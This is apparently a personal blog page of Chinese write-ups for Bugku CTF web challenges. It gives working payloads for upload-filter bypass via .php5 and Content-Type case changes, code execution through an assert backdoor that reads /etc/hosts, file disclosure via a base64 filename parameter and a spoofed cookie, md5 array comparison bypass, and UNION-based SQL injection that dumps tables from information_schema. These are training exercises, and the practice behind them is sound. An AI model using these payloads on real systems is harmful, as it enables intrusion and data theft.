在这里插入图片描述
根据题目提示的txt.并且分析源码
我们可以得出以下几点有用信息
1、f的值从fn文件中取出
2、ac的值和类型与f的值和类型完全相等时,即可得出flag

寻找flag,

http://123.206.87.240:8002/web8/flag.txt

在这里插入图片描述
可以看出flag.txt的文件的内容为flags
那么我们让fn指向flag.txt文件,ac为该文件的内容;
构造payload

http://123.206.87.240:8002/web8/?ac=flags&fn=flag.txt

在这里插入图片描述

七、第35题(细心)

首先打开题目发现是一个404 not found 查看源码并没有什么发现。
想到题目的提示 想办法变成admin,那么我们使用御剑工具扫描下后台,发现robots.txt文件
robots.txt文件简单说就是网络爬虫规则
在这里插入图片描述
访问robots.txt文件,发现resusl.php文件
在这里插入图片描述
访问resusl.php文件发现,题目提示我们不是管理员,需要传入参数x
在这里插入图片描述
那么我们传入参数x=admin
在这里插入图片描述

八、第36题(求getshell)

  1. 把请求头里面的Content-Type字母改成大写进行绕过

    1. .jpg后面加上.php5其他的都被过滤了好像
    2. content-Type的值改为image/jpg(题目要求我们传入image)

    如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag

在这里插入图片描述

bugku 26-27 writeup(web)

发表于 2019-03-19 | 分类于 bugkuCTF

一、第26题(过狗一句话)

在这里插入图片描述
打开链接发现一篇空白,抓包也没什么发现。那么我们只能分析上面那段代码了
explode()函数就是把$poc变量用#号来分割开来。那么$poc_2就是assert,他和最后一句代码构造成了assert()函数,assert函数功能跟eval类似,可以把里面的内容当作代码来执行。

那么我们构造payload为?s=print_r(scandir('./')),扫描出描本级目录下的文件。(这其实是一种xss攻击)
在这里插入图片描述
发现了flag_sm1skla1.txt文件。访问该文件即可得出flag
在这里插入图片描述
拓展:
我们扫描上级目录

http://123.206.87.240:8010/?s=print_r(scandir(%27../%27))

在这里插入图片描述
根据目录结构应该是linux系统,hosts文件应该在etc里面

http://123.206.87.240:8010/?s=print_r(readfile(%27../etc/hosts%27))

在这里插入图片描述

一、第27题(字符?正则?)

打开题目,是一段代码

 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> 

分析这段代码可以发现,只要我们构造出一个符号条件的KEY作为参数传入即可得到flag,突然发现我的正则学了和没学一样。

这边先介绍下

preg_match — 执行一个正则表达式匹配

preg_match ( $pattern , $subject , $matches )

搜索subject与pattern给定的正则表达式的一个匹配.

参数 :

pattern : 要搜索的模式,字符串类型(正则表达式)。
subject : 输入的字符串。
matches :(可有可无)如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。

返回值 :

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

实例1:

$label = 'content/112';
$a = preg_match('#content/(\d+)#i', $label, $mc);
var_dump($a);
var_dump($mc);
输出:

int(1)
array(2) {
 [0]=>
 string(11) "content/112"
 [1]=>
 string(3) "112"
}

开始分析下题目中的正则表达式
定界符:/和/(一般来说是这两个,其实除了\和字母数字其它的只要是成对出现都可以看做定界符,比如##、!!之类的);

. (一个点):表示可以匹配任何字符;

*   :前面的字符重复零次或多次;

{n,m} :最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符;

\ (反斜线):后面的字符被转义;

[a-z] :在a到z中匹配 ;

[[:punct:]] :匹配任何标点符号;

/i  :表示这个正则表达式对大小写不敏感;

我们构造id=keykeyaaaakey:/a/keyz;
在这里插入图片描述

bugku 22-24 write up(web)

发表于 2019-03-19 | 分类于 bugkuCTF

一、第22题(速度要快)

首先我们查看源码

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

发现有post需要提交,参数为marign

那么我们开始抓包,
在这里插入图片描述
然后发现是base64编码的flag,解码后,输入flag,发现flag错误。
额,我们再次抓包,发现flag又变化了。怪得题目说我觉得你得快点。
我有尝试了几次发现还是不行,看来只能借助python脚本了

import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
s = requests.session()
flag = s.get(url).headers['flag']  # flag在响应头里

 #为了下面使用split不报错,ba64decode操作的对象是byte类型的字符串,而split函数要用str类型
flag = base64.b64decode(flag).decode()

flag = base64.b64decode(flag.split(":")[1]).decode()  # 获取flag后的值
payload = {'margin': flag}
print(s.post(url, data = payload).text)  # post方法上传

python中str是经过编好码的字符串,如unicode,gb2312,ascii编码,可以表示不同语言中的字符,可以解码成byte
byte是字节,只能是ascii码0-255的字符,表示未经编码处理的原始字符串

split函数简单的介绍

str与byte的简单的转化方法:

flag=flag.decode()//byte转为str
flag=flag.encode()//str转为byte

二、第23题(cookie欺骗)

http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
打开题目发现,filename参数后面是一串base64编码,进行解码得keys.txt.
我们把index.php进行base64编码后放在filename参数的后面,进行输入

http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw

改变line后面的数字即可一行一行的输出index.php的内容
这样子太慢了,我们写个python脚本来实现。

import requests
def getHTMLText(url):
    try:
        r = requests.get(url,timeout=30)
        r.raise_for_status()
        r .encoding = r.apparent_encoding
        return r.text
    except:
        return"产生异常"
if __name__=="__main__":
    a=30
    for i in range(a):
        url = "http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
        print(getHTMLText(url))

输出index.php的网页源码

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

​
if(isset($_COOKIE[‘margin’]) && $_COOKIE[‘margin’]==’margin’){

$file_list[2]='keys.php';

}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

这段代码的意思是flag在keys.php文件里,我们需要传入cookie:margin=margin才可以看到源码。
在这里插入图片描述
进行操作后发现是空白,我们查看源码发现了flag
在这里插入图片描述

三、第24题(never give up)

查看源码发现
在这里插入图片描述
那么我们访问http://123.206.87.240:8006/test/1p.html
发现是bugku的主页,被重定向了。
那么我们使用

view-source:http://123.206.87.240:8006/test/1p.htm

直接访问源码,发现源码中有一部分被url编码了,那么我们进行解码,发现是base64编码,再解码发现是url编码,那么我们再解码,终于得出了以下关键的部分

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}

​
?>

看下这部分源码发现有很多要求才可以看到flag,那么尝试下直接访问

http://123.206.87.240:8006/test/f4l2a3g.txt

看到flag了。

bugku 17-20 write up(web)

发表于 2019-03-14 | 更新于 2019-03-19 | 分类于 bugkuCTF

一、第17题(输入密码查看flag)。

暴力破解,可得密码,然后输入密码可得flag
flag{bugku-baopo-hah}

二、 第18题(点击一百万次)

在这里插入图片描述
查看源码可以发现,url以post的方式提交点击的次数,那么使用hacker的post功能,直接修改clicks=1000000,即可得出flag
在这里插入图片描述

三、第19题(备份是个好习惯)

小知识:备份文件的扩展名一般为*.swp,.bak
打开题目是一串字母,应该是MD5加密我们拿去解密下,竟然为空。
看看题目的提示,备份是个好习惯,是让我们寻找 .bak文件的
我们用御剑扫描后台,得出
在这里插入图片描述
那么尝试下http://123.06.87.240:8002/web16/index.php.bak
成功下载源码

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//代码从?后开始截取到str中,也就是变量后开始截取字符串
$str = substr($str,1);//取$str中左边第1位开始取1位。
$str = str_replace('key','',$str);//在字符串$str中找到字符串key,并把它替换成空;
parse_str($str);//把查询字符串解析到变量中;
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}

代码要求我们构造出key1和key2的md5值相等,而它们本身却不相等,这时候用到一个小知识点:md5无法对数组进行构造,构造的结果都为NULL,这样我们只要让key1和key2是两个数组就可以了,(kekeyy绕过过滤key)
在这里插入图片描述

四、第20题(成绩单)在这里插入代码片

我们先输入1发现输出
在这里插入图片描述
输入-1发现没有输出信息
说明存在sql注入。
那么我们尝试下
输入 -1' union select 1,2,3,database()#
在这里插入图片描述
发现flag的所在的数据库
输入-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述
爆出flag所在的表

输入-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
vaoc
爆出flag所在的字段

输入-1' union select 1,2,3,skctf_flag from fl4g#

在这里插入图片描述
爆出flag为BUGKU{Sql_INJECT0N_4813drd8hz4}

12345
wr

wr

47 日志
10 分类
6 标签
© 2020 wr
由 Hexo 强力驱动 v3.8.0
|
主题 – NexT.Gemini v7.0.0
|
0%